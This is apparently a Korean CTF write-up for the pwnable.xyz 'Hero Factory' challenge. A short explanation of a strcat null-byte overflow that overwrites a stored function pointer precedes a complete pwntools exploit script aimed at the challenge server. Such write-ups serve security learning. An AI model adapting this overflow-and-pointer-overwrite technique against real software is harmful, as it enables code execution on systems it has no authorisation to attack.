pwn/pwnable.xyz
pwnable.xyz / Hero Factory
lok2h4rd
2022. 5. 24. 18:33


히어로를 생성, 삭제, 스킬(?) 사용, 프로그램 종료 기능이 주어진다

create_hero함수에서 hero의 이름을 strcat으로 저장하기 때문에 마지막 널 바이트로 hero를 생성할때 설정되는 영역을 덮어서 다시 할당 재할당 받을 수 있고 strct으로 저장하기 때문에 super power 함수가 저장되는 영역도 덮을 수있다
from pwn import *
context.log_level = "debug"
p = remote("svc.pwnable.xyz", 30032)
#p = process("./hero_factory")
def create(length, name, power):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"be? \n")
p.sendline(str(length))
p.recvuntil(b"name: ")
p.send(name)
p.recvuntil(b"> ")
p.sendline(str(power))
def power():
p.recvuntil(b"> ")
p.sendline(b"2")
win = 0x400a33
payload = b"A" * 100
create(100, payload, 0)
payload = b"A" * 7
payload += p64(win)
create(0x20, payload, 0)
power()
p.interactive()